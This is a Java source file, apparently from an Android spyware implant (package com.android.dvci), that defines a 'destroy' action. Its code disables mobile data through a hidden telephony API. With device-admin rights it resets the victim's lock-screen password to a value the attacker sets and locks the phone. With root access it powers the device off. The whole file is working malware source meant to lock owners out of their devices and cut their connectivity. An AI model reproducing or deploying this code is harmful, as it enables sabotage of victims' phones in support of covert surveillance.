package com.android.dvci.action;

import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.telephony.TelephonyManager;

import com.android.dvci.Status;
import com.android.dvci.Trigger;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfAction;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.util.Check;
import com.android.dvci.util.Execute;
import com.android.internal.telephony.ITelephony;
import com.android.mm.M;

import java.lang.reflect.Method;

public class DestroyAction extends SubAction {
	private static final String TAG = "DestroyAction";
	private boolean permanent;

	public DestroyAction(ConfAction params) {
		super(params);
	}

	@Override
	protected boolean parse(ConfAction conf) {
		try {
			permanent = conf.getBoolean(M.e("permanent"));
		} catch (ConfigurationException e) {
			return false;
		}
		return true;
	}

	@Override
	public boolean execute(Trigger trigger) {
		try {

			if (Status.self().haveAdmin()) {
				destroyAdmin();
			}

			if (Status.self().haveRoot()) {
				destroyRoot();
			}

			destroyUser();
		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (execute) Error: " + ex);
			}
		}
		return true;
	}

	private void destroyUser() {
		TelephonyManager tm = (TelephonyManager) Status.getAppContext().getSystemService(Context.TELEPHONY_SERVICE);

		Class c;
		try {
			c = Class.forName(tm.getClass().getName());
			Method m = c.getDeclaredMethod("getITelephony");
			m.setAccessible(true);
			ITelephony telephonyService = (ITelephony) m.invoke(tm);

			telephonyService.disableDataConnectivity();

		} catch (Exception e) {

			e.printStackTrace();
		}

	}

	private void destroyAdmin() {
		DevicePolicyManager mDPM;

		mDPM = (DevicePolicyManager) Status.self().getAppContext().getSystemService(Context.DEVICE_POLICY_SERVICE);

		if (Cfg.DEBUG) {
			mDPM.resetPassword(M.e("Blocked0011"), 0);
		} else {
			mDPM.resetPassword(M.e("b"), 0);
		}
		mDPM.lockNow();
	}

	private void destroyRoot() {
		Execute.executeRoot("reboot -p");
	}

}
